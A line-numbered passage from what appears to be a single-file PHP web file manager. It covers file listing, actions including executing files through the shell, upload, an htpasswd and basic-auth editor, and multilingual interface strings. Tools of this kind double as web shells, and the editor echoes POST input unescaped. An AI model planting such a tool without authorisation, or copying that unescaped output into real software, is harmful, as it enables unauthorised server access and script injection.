1137       $real_file = relative2absolute($file['target'], $directory);
1138 
1139       if (@is_readable($real_file)) {
1140         if (@is_dir($real_file)) {
1141           echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
1142         } else {
1143           echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
1144         }
1145       } else {
1146         echo html($file['target']);
1147       }
1148 
1149     } elseif ($file['is_dir']) {
1150 
1151       echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
1152       if ($win || $file['is_executable']) {
1153         echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1154       } else {
1155         echo html($file['filename']);
1156       }
1157       echo ' ]';
1158 
1159     } else {
1160 
1161       if (substr($file['filename'], 0, 1) == '.') {
1162         echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
1163       } else {
1164         echo '<img src="' . $self . '?image=file" alt="file" /> ';
1165       }
1166 
1167       if ($file['is_file'] && $file['is_readable']) {
1168          echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1169       } else {
1170         echo html($file['filename']);
1171       }
1172 
1173     }
1174 
1175     if ($file['size'] >= 1000) {
1176       $human = ' title="' . human_filesize($file['size']) . '"';
1177     } else {
1178       $human = '';
1179     }
1180 
1181     echo "</td>\n";
1182 
1183     echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
1184 
1185     if (!$win) {
1186 
1187       echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
1188 
1189       $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
1190       if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
1191       echo html(permission_octal2string($file['permission']));
1192       if ($l) echo '</a>';
1193 
1194       echo "</td>\n";
1195 
1196       if (array_key_exists('owner_name', $file)) {
1197         echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
1198       } else {
1199         echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
1200       }
1201 
1202       if (array_key_exists('group_name', $file)) {
1203         echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
1204       } else {
1205         echo "\t<td class=\"group\">{$file['group']}</td>\n";
1206       }
1207 
1208     }
1209 
1210     echo '  <td class="functions">
1211    <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
1212 ';
1213 
1214     $actions = array();
1215     if (function_exists('symlink')) {
1216       $actions[] = 'create_symlink';
1217     }
1218     if (@is_writable(dirname($file['path']))) {
1219       $actions[] = 'delete';
1220       $actions[] = 'rename';
1221       $actions[] = 'move';
1222     }
1223     if ($file['is_file'] && $file['is_readable']) {
1224       $actions[] = 'copy';
1225       $actions[] = 'download';
1226       if ($file['is_writable']) $actions[] = 'edit';
1227     }
1228     if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
1229       $actions[] = 'execute';
1230     }
1231 
1232     if (sizeof($actions) > 0) {
1233 
1234       echo '    <select class="small" name="action' . $i . '" size="1">
1235    <option value="">' . str_repeat('&nbsp;', 30) . '</option>
1236 ';
1237 
1238       foreach ($actions as $action) {
1239         echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1240       }
1241 
1242       echo '    </select>
1243    <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
1244 ';
1245 
1246     }
1247 
1248     echo '  </td>
1249 </tr>
1250 ';
1251 
1252   }
1253 
1254   echo '<tr class="listing_footer">
1255  <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
1256  <td colspan="' . ($cols - 1) . '">
1257    <input type="hidden" name="num" value="' . sizeof($list) . '" />
1258    <input type="hidden" name="focus" value="" />
1259    <input type="hidden" name="olddir" value="' . html($directory) . '" />
1260 ';
1261 
1262   $actions = array();
1263   if (@is_writable(dirname($file['path']))) {
1264     $actions[] = 'delete';
1265     $actions[] = 'move';
1266   }
1267   $actions[] = 'copy';
1268 
1269   echo '    <select class="small" name="action_all" size="1">
1270    <option value="">' . str_repeat('&nbsp;', 30) . '</option>
1271 ';
1272 
1273   foreach ($actions as $action) {
1274     echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1275   }
1276 
1277   echo '    </select>
1278    <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
1279  </td>
1280 </tr>
1281 ';
1282 
1283 }
1284 
1285 function column_title ($column, $sort, $reverse) {
1286   global $self, $directory;
1287 
1288   $d = 'dir=' . urlencode($directory) . '&amp;';
1289 
1290   $arr = '';
1291   if ($sort == $column) {
1292     if (!$reverse) {
1293       $r = '&amp;reverse=true';
1294       $arr = ' &and;';
1295     } else {
1296       $arr = ' &or;';
1297     }
1298   } else {
1299     $r = '';
1300   }
1301   echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
1302 
1303 }
1304 
1305 function directory_choice () {
1306   global $directory, $homedir, $cols, $self;
1307 
1308   echo '<tr>
1309  <td colspan="' . $cols . '" id="directory">
1310    <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
1311    <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
1312    <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
1313  </td>
1314 </tr>
1315 ';
1316 
1317 }
1318 
1319 function upload_box () {
1320   global $cols;
1321 
1322   echo '<tr>
1323  <td colspan="' . $cols . '" id="upload">
1324    ' . word('file') . ':
1325    <input type="file" name="upload" onfocus="activate(\'other\')" />
1326    <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
1327  </td>
1328 </tr>
1329 ';
1330 
1331 }
1332 
1333 function create_box () {
1334   global $cols;
1335 
1336   echo '<tr>
1337  <td colspan="' . $cols . '" id="create">
1338    <select name="create_type" size="1" onfocus="activate(\'create\')">
1339    <option value="file">' . word('file') . '</option>
1340    <option value="directory">' . word('directory') . '</option>
1341    </select>
1342    <input type="text" name="create_name" onfocus="activate(\'create\')" />
1343    <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
1344  </td>
1345 </tr>
1346 ';
1347 
1348 }
1349 
1350 function edit ($file) {
1351   global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
1352 
1353   html_header();
1354 
1355   echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
1356 
1357 <form action="' . $self . '" method="post">
1358 
1359 <table class="dialog">
1360 <tr>
1361 <td class="dialog">
1362 
1363  <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
1364 
1365   if (array_key_exists('content', $_POST)) {
1366     echo $_POST['content'];
1367   } else {
1368     $f = fopen($file, 'r');
1369     while (!feof($f)) {
1370       echo html(fread($f, 8192));
1371     }
1372     fclose($f);
1373   }
1374 
1375   if (!empty($_POST['user'])) {
1376     echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
1377   }
1378   if (!empty($_POST['basic_auth'])) {
1379     if ($win) {
1380       $authfile = str_replace('\\', '/', $directory) . $htpasswd;
1381     } else {
1382       $authfile = $directory . $htpasswd;
1383     }
1384     echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
1385     echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
1386     echo 'Require valid-user';
1387   }
1388 
1389   echo '</textarea>
1390 
1391  <hr />
1392 ';
1393 
1394   if ($apache && basename($file) == $htpasswd) {
1395     echo '
1396  ' . word('user') . ': <input type="text" name="user" />
1397  ' . word('password') . ': <input type="password" name="password" />
1398  <input type="submit" value="' . word('add') . '" />
1399 
1400  <hr />
1401 ';
1402 
1403   }
1404 
1405   if ($apache && basename($file) == $htaccess) {
1406     echo '
1407  <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
1408 
1409  <hr />
1410 ';
1411 
1412   }
1413 
1414   echo '
1415  <input type="hidden" name="action" value="edit" />
1416  <input type="hidden" name="file" value="' . html($file) . '" />
1417  <input type="hidden" name="dir" value="' . html($directory) . '" />
1418  <input type="reset" value="' . word('reset') . '" id="red_button" />
1419  <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
1420 
1421 </td>
1422 </tr>
1423 </table>
1424 
1425 <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1426 
1427 </form>
1428 
1429 ';
1430 
1431   html_footer();
1432 
1433 }
1434 
1435 function spacer () {
1436   global $cols;
1437 
1438   echo '<tr>
1439  <td colspan="' . $cols . '" style="height: 1em"></td>
1440 </tr>
1441 ';
1442 
1443 }
1444 
1445 function textfieldsize ($content) {
1446 
1447   $size = strlen($content) + 5;
1448   if ($size < 30) $size = 30;
1449 
1450   return $size;
1451 
1452 }
1453 
1454 function request_dump () {
1455 
1456   foreach ($_REQUEST as $key => $value) {
1457     echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
1458   }
1459 
1460 }
1461 
1462 /* ------------------------------------------------------------------------- */
1463 
1464 function html ($string) {
1465   global $site_charset;
1466   return htmlentities($string, ENT_COMPAT, $site_charset);
1467 }
1468 
1469 function word ($word) {
1470   global $words, $word_charset;
1471   return htmlentities($words[$word], ENT_COMPAT, $word_charset);
1472 }
1473 
1474 function phrase ($phrase, $arguments) {
1475   global $words;
1476   static $search;
1477 
1478   if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
1479 
1480   for ($i = 0; $i < sizeof($arguments); $i++) {
1481     $arguments[$i] = nl2br(html($arguments[$i]));
1482   }
1483 
1484   $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
1485 
1486   return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
1487 
1488 }
1489 
1490 function getwords ($lang) {
1491   global $date_format, $word_charset;
1492   $word_charset = 'UTF-8';
1493 
1494   switch ($lang) {
1495   case 'de':
1496 
1497     $date_format = 'd.m.y H:i:s';
1498 
1499     return array(
1500 'directory' => 'Verzeichnis',
1501 'file' => 'Datei',
1502 'filename' => 'Dateiname',
1503 
1504 'size' => 'Größe',
1505 'permission' => 'Rechte',
1506 'owner' => 'Eigner',
1507 'group' => 'Gruppe',
1508 'other' => 'Andere',
1509 'functions' => 'Funktionen',
1510 
1511 'read' => 'lesen',
1512 'write' => 'schreiben',
1513 'execute' => 'ausführen',
1514 
1515 'create_symlink' => 'Symlink erstellen',
1516 'delete' => 'löschen',
1517 'rename' => 'umbenennen',
1518 'move' => 'verschieben',
1519 'copy' => 'kopieren',
1520 'edit' => 'editieren',
1521 'download' => 'herunterladen',
1522 'upload' => 'hochladen',
1523 'create' => 'erstellen',
1524 'change' => 'wechseln',
1525 'save' => 'speichern',
1526 'set' => 'setze',
1527 'reset' => 'zurücksetzen',
1528 'relative' => 'Pfad zum Ziel relativ',
1529 
1530 'yes' => 'Ja',
1531 'no' => 'Nein',
1532 'back' => 'zurück',
1533 'destination' => 'Ziel',
1534 'symlink' => 'Symbolischer Link',
1535 'no_output' => 'keine Ausgabe',
1536 
1537 'user' => 'Benutzername',
1538 'password' => 'Kennwort',
1539 'add' => 'hinzufügen',
1540 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
1541 
1542 'uploaded' => '"[%1]" wurde hochgeladen.',
1543 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
1544 'already_exists' => '"[%1]" existiert bereits.',
1545 'created' => '"[%1]" wurde erstellt.',
1546 'not_created' => '"[%1]" konnte nicht erstellt werden.',
1547 'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
1548 'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
1549 'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
1550 'rename_file' => 'Benenne Datei um:',
1551 'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
1552 'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
1553 'move_files' => 'Verschieben folgende Dateien:',
1554 'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
1555 'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
1556 'copy_files' => 'Kopiere folgende Dateien:',
1557 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
1558 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
1559 'not_edited' => '"[%1]" kann nicht editiert werden.',
1560 'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{\%2}",
1561 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{\%2}",
1562 'saved' => '"[%1]" wurde gespeichert.',
1563 'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
1564 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
1565 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
1566 'permission_for' => 'Rechte für "[%1]":',
1567 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
1568 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
1569 'not_readable' => '"[%1]" kann nicht gelesen werden.'
1570     );
1571 
1572   case 'fr':
1573 
1574     $date_format = 'd.m.y H:i:s';
1575 
1576     return array(
1577 'directory' => 'Répertoire',
1578 'file' => 'Fichier',
1579 'filename' => 'Nom fichier',
1580 
1581 'size' => 'Taille',
1582 'permission' => 'Droits',
1583 'owner' => 'Propriétaire',
1584 'group' => 'Groupe',
1585 'other' => 'Autres',
1586 'functions' => 'Fonctions',
1587 
1588 'read' => 'Lire',
1589 'write' => 'Ecrire',
1590 'execute' => 'Exécuter',
1591 
1592 'create_symlink' => 'Créer lien symbolique',
1593 'delete' => 'Effacer',
1594 'rename' => 'Renommer',
1595 'move' => 'Déplacer',
1596 'copy' => 'Copier',
1597 'edit' => 'Ouvrir',
1598 'download' => 'Télécharger sur PC',
1599 'upload' => 'Télécharger sur serveur',
1600 'create' => 'Créer',
1601 'change' => 'Changer',
1602 'save' => 'Sauvegarder',
1603 'set' => 'Exécuter',
1604 'reset' => 'Réinitialiser',
1605 'relative' => 'Relatif',
1606 
1607 'yes' => 'Oui',
1608 'no' => 'Non',
1609 'back' => 'Retour',
1610 'destination' => 'Destination',
1611 'symlink' => 'Lien symbollique',
1612 'no_output' => 'Pas de sortie',
1613 
1614 'user' => 'Utilisateur',
1615 'password' => 'Mot de passe',
1616 'add' => 'Ajouter',
1617 'add_basic_auth' => 'add basic-authentification',
1618 
1619 'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
1620 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
1621 'already_exists' => '"[%1]" existe déj� .',
1622 'created' => '"[%1]" a été créé.',
1623 'not_created' => '"[%1]" n a pas pu être créé.',
1624 'really_delete' => 'Effacer le fichier?',
1625 'deleted' => "Ces fichiers ont été détuits:\n[%1]",
1626 'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
1627 'rename_file' => 'Renomme fichier:',
1628 'renamed' => '"[%1]" a été renommé en "[%2]".',
1629 'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
1630 'move_files' => 'Déplacer ces fichiers:',
1631 'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
1632 'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
1633 'copy_files' => 'Copier ces fichiers:',
1634 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
1635 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
1636 'not_edited' => '"[%1]" ne peut être ouvert.',
1637 'executed' => "\"[%1]\" a été brillamment exécuté :\n{\%2}",
1638 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{\%2}",
1639 'saved' => '"[%1]" a été sauvegardé.',
1640 'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
1641 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
1642 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
1643 'permission_for' => 'Droits de "[%1]":',
1644 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
1645 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
1646 'not_readable' => '"[%1]" ne peut pas être ouvert.'
1647     );
1648 
1649   case 'it':
1650 
1651     $date_format = 'd-m-Y H:i:s';
1652 
1653     return array(
1654 'directory' => 'Directory',
1655 'file' => 'File',
1656 'filename' => 'Nome File',
1657 
1658 'size' => 'Dimensioni',
1659 'permission' => 'Permessi',
1660 'owner' => 'Proprietario',
1661 'group' => 'Gruppo',
1662 'other' => 'Altro',
1663 'functions' => 'Funzioni',
1664 
1665 'read' => 'leggi',
1666 'write' => 'scrivi',
1667 'execute' => 'esegui',
1668 
1669 'create_symlink' => 'crea link simbolico',
1670 'delete' => 'cancella',
1671 'rename' => 'rinomina',
1672 'move' => 'sposta',
1673 'copy' => 'copia',
1674 'edit' => 'modifica',
1675 'download' => 'download',
1676 'upload' => 'upload',
1677 'create' => 'crea',
1678 'change' => 'cambia',
1679 'save' => 'salva',
1680 'set' => 'imposta',
1681 'reset' => 'reimposta',
1682 'relative' => 'Percorso relativo per la destinazione',
1683 
1684 'yes' => 'Si',
1685 'no' => 'No',
1686 'back' => 'indietro',
1687 'destination' => 'Destinazione',
1688 'symlink' => 'Link simbolico',
1689 'no_output' => 'no output',
1690 
1691 'user' => 'User',
1692 'password' => 'Password',
1693 'add' => 'aggiungi',
1694 'add_basic_auth' => 'aggiungi autenticazione base',
1695 
1696 'uploaded' => '"[%1]" è stato caricato.',
1697 'not_uploaded' => '"[%1]" non è stato caricato.',
1698 'already_exists' => '"[%1]" esiste gi� .',
1699 'created' => '"[%1]" è stato creato.',
1700 'not_created' => '"[%1]" non è stato creato.',
1701 'really_delete' => 'Cancello questi file ?',
1702 'deleted' => "Questi file sono stati cancellati:\n[%1]",
1703 'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
1704 'rename_file' => 'File rinominato:',
1705 'renamed' => '"[%1]" è stato rinominato in "[%2]".',
1706 'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
1707 'move_files' => 'Sposto questi file:',
1708 'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
1709 'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
1710 'copy_files' => 'Copio questi file',
1711 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
1712 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
1713 'not_edited' => '"[%1]" non può essere modificato.',
1714 'executed' => "\"[%1]\" è stato eseguito con successo:\n{\%2}",
1715 'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{\%2}",
1716 'saved' => '"[%1]" è stato salvato.',
1717 'not_saved' => '"[%1]" non è stato salvato.',
1718 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
1719 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
1720 'permission_for' => 'Permessi di "[%1]":',
1721 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
1722 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
1723 'not_readable' => '"[%1]" non può essere letto.'
1724     );
1725 
1726   case 'nl':
1727 
1728     $date_format = 'n/j/y H:i:s';
1729 
1730     return array(
1731 'directory' => 'Directory',
1732 'file' => 'Bestand',
1733 'filename' => 'Bestandsnaam',
1734 
1735 'size' => 'Grootte',
1736 'permission' => 'Bevoegdheid',
1737 'owner' => 'Eigenaar',
1738 'group' => 'Groep',
1739 'other' => 'Anderen',
1740 'functions' => 'Functies',
1741 
1742 'read' => 'lezen',
1743 'write' => 'schrijven',
1744 'execute' => 'uitvoeren',
1745 
1746 'create_symlink' => 'maak symlink',
1747 'delete' => 'verwijderen',
1748 'rename' => 'hernoemen',
1749 'move' => 'verplaatsen',
1750 'copy' => 'kopieren',
1751 'edit' => 'bewerken',
1752 'download' => 'downloaden',
1753 'upload' => 'uploaden',
1754 'create' => 'aanmaken',
1755 'change' => 'veranderen',
1756 'save' => 'opslaan',
1757 'set' => 'instellen',
1758 'reset' => 'resetten',
1759 'relative' => 'Relatief pat naar doel',
1760 
1761 'yes' => 'Ja',
1762 'no' => 'Nee',
1763 'back' => 'terug',
1764 'destination' => 'Bestemming',
1765 'symlink' => 'Symlink',
1766 'no_output' => 'geen output',
1767 
1768 'user' => 'Gebruiker',
1769 'password' => 'Wachtwoord',
1770 'add' => 'toevoegen',
1771 'add_basic_auth' => 'add basic-authentification',
1772 
1773 'uploaded' => '"[%1]" is verstuurd.',
1774 'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
1775 'already_exists' => '"[%1]" bestaat al.',
1776 'created' => '"[%1]" is aangemaakt.',
1777 'not_created' => '"[%1]" kan niet worden aangemaakt.',
1778 'really_delete' => 'Deze bestanden verwijderen?',
1779 'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
1780 'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
1781 'rename_file' => 'Bestandsnaam veranderen:',
1782 'renamed' => '"[%1]" heet nu "[%2]".',
1783 'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
1784 'move_files' => 'Verplaats deze bestanden:',
1785 'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
1786 'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
1787 'copy_files' => 'Kopieer deze bestanden:',
1788 'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
1789 'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
1790 'not_edited' => '"[%1]" kan niet worden bewerkt.',
1791 'executed' => "\"[%1]\" is met succes uitgevoerd:\n{\%2}",
1792 'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{\%2}",
1793 'saved' => '"[%1]" is opgeslagen.',
1794 'not_saved' => '"[%1]" is niet opgeslagen.',
1795 'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
1796 'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
1797 'permission_for' => 'Bevoegdheid voor "[%1]":',
1798 'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
1799 'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
1800 'not_readable' => '"[%1]" kan niet worden gelezen.'
1801     );
1802 
1803   case 'se':
1804 
1805     $date_format = 'n/j/y H:i:s';
1806 
1807     return array(
1808 'directory' => 'Mapp',
1809 'file' => 'Fil',
1810 'filename' => 'Filnamn',
1811 
1812 'size' => 'Storlek',
1813 'permission' => 'Säkerhetsnivå',
1814 'owner' => 'Ägare',
1815 'group' => 'Grupp',
1816 'other' => 'Andra',
1817 'functions' => 'Funktioner',
1818 
1819 'read' => 'Läs',
1820 'write' => 'Skriv',
1821 'execute' => 'Utför',
1822 
1823 'create_symlink' => 'Skapa symlink',
1824 'delete' => 'Radera',
1825 'rename' => 'Byt namn',
1826 'move' => 'Flytta',
1827 'copy' => 'Kopiera',
1828 'edit' => 'Ändra',
1829 'download' => 'Ladda ner',
1830 'upload' => 'Ladda upp',
1831 'create' => 'Skapa',
1832 'change' => 'Ändra',
1833 'save' => 'Spara',
1834 'set' => 'Markera',
1835 'reset' => 'Töm',
1836 'relative' => 'Relative path to target',
1837 
1838 'yes' => 'Ja',
1839 'no' => 'Nej',
1840 'back' => 'Tillbaks',
1841 'destination' => 'Destination',
1842 'symlink' => 'Symlink',
1843 'no_output' => 'no output',
1844 
1845 'user' => 'Användare',
1846 'password' => 'Lösenord',
1847 'add' => 'Lägg till',
1848 'add_basic_auth' => 'add basic-authentification',
1849 
1850 'uploaded' => '"[%1]" har laddats upp.',
1851 'not_uploaded' => '"[%1]" kunde inte laddas upp.',
1852 'already_exists' => '"[%1]" finns redan.',
1853 'created' => '"[%1]" har skapats.',
1854 'not_created' => '"[%1]" kunde inte skapas.',
1855 'really_delete' => 'Radera dessa filer?',
1856 'deleted' => "De här filerna har raderats:\n[%1]",
1857 'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
1858 'rename_file' => 'Byt namn på fil:',
1859 'renamed' => '"[%1]" har bytt namn till "[%2]".',
1860 'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
1861 'move_files' => 'Flytta dessa filer:',
1862 'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
1863 'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
1864 'copy_files' => 'Kopiera dessa filer:',
1865 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
1866 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
1867 'not_edited' => '"[%1]" kan inte ändras.',
1868 'executed' => "\"[%1]\" har utförts:\n{\%2}",
1869 'not_executed' => "\"[%1]\" kunde inte utföras:\n{\%2}",
1870 'saved' => '"[%1]" har sparats.',
1871 'not_saved' => '"[%1]" kunde inte sparas.',
1872 'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
1873 'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
1874 'permission_for' => 'Rättigheter för "[%1]":',
1875 'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
1876 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
1877 'not_readable' => '"[%1]" kan inte läsas.'
1878     );
1879 
1880   case 'sp':
1881 
1882     $date_format = 'j/n/y H:i:s';
1883 
1884     return array(
1885 'directory' => 'Directorio',
1886 'file' => 'Archivo',
1887 'filename' => 'Nombre Archivo',
1888 
1889 'size' => 'Tamaño',
1890 'permission' => 'Permisos',
1891 'owner' => 'Propietario',
1892 'group' => 'Grupo',
1893 'other' => 'Otros',
1894 'functions' => 'Funciones',
1895 
1896 'read' => 'lectura',
1897 'write' => 'escritura',
1898 'execute' => 'ejecución',
1899 
1900 'create_symlink' => 'crear enlace',
1901 'delete' => 'borrar',
1902 'rename' => 'renombrar',
1903 'move' => 'mover',
1904 'copy' => 'copiar',
1905 'edit' => 'editar',
1906 'download' => 'bajar',
1907 'upload' => 'subir',
1908 'create' => 'crear',
1909 'change' => 'cambiar',
1910 'save' => 'salvar',
1911 'set' => 'setear',
1912 'reset' => 'resetear',
1913 'relative' => 'Path relativo',
1914 
1915 'yes' => 'Si',
1916 'no' => 'No',
1917 'back' => 'atrás',
1918 'destination' => 'Destino',
1919 'symlink' => 'Enlace',
1920 'no_output' => 'sin salida',
1921 
1922 'user' => 'Usuario',
1923 'password' => 'Clave',
1924 'add' => 'agregar',
1925 'add_basic_auth' => 'agregar autentificación básica',
1926 
1927 'uploaded' => '"[%1]" ha sido subido.',
1928 'not_uploaded' => '"[%1]" no pudo ser subido.',
1929 'already_exists' => '"[%1]" ya existe.',
1930 'created' => '"[%1]" ha sido creado.',
1931 'not_created' => '"[%1]" no pudo ser creado.',
1932 'really_delete' => '¿Borra estos archivos?',
1933 'deleted' => "Estos archivos han sido borrados:\n[%1]",
1934 'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
1935 'rename_file' => 'Renombra archivo:',
1936 'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
1937 'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
1938 'move_files' => 'Mover estos archivos:',
1939 'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
1940 'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
1941 'copy_files' => 'Copiar estos archivos:',
1942 'copied' => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",
1943 'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
1944 'not_edited' => '"[%1]" no pudo ser editado.',
1945 'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{\%2}",
1946 'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{\%2}",
1947 'saved' => '"[%1]" ha sido salvado.',
1948 'not_saved' => '"[%1]" no pudo ser salvado.',
1949 'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
1950 'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
1951 'permission_for' => 'Permisos de "[%1]":',
1952 'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
1953 'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
1954 'not_readable' => '"[%1]" no pudo ser leído.'
1955     );
1956 
1957   case 'dk':
1958 
1959     $date_format = 'n/j/y H:i:s';
1960 
1961     return array(
1962 'directory' => 'Mappe',
1963 'file' => 'Fil',
1964 'filename' => 'Filnavn',
1965 
1966 'size' => 'Størrelse',
1967 'permission' => 'Rettighed',
1968 'owner' => 'Ejer',
1969 'group' => 'Gruppe',
1970 'other' => 'Andre',
1971 'functions' => 'Funktioner',
1972 
1973 'read' => 'læs',
1974 'write' => 'skriv',
1975 'execute' => 'kør',
1976 
1977 'create_symlink' => 'opret symbolsk link',
1978 'delete' => 'slet',
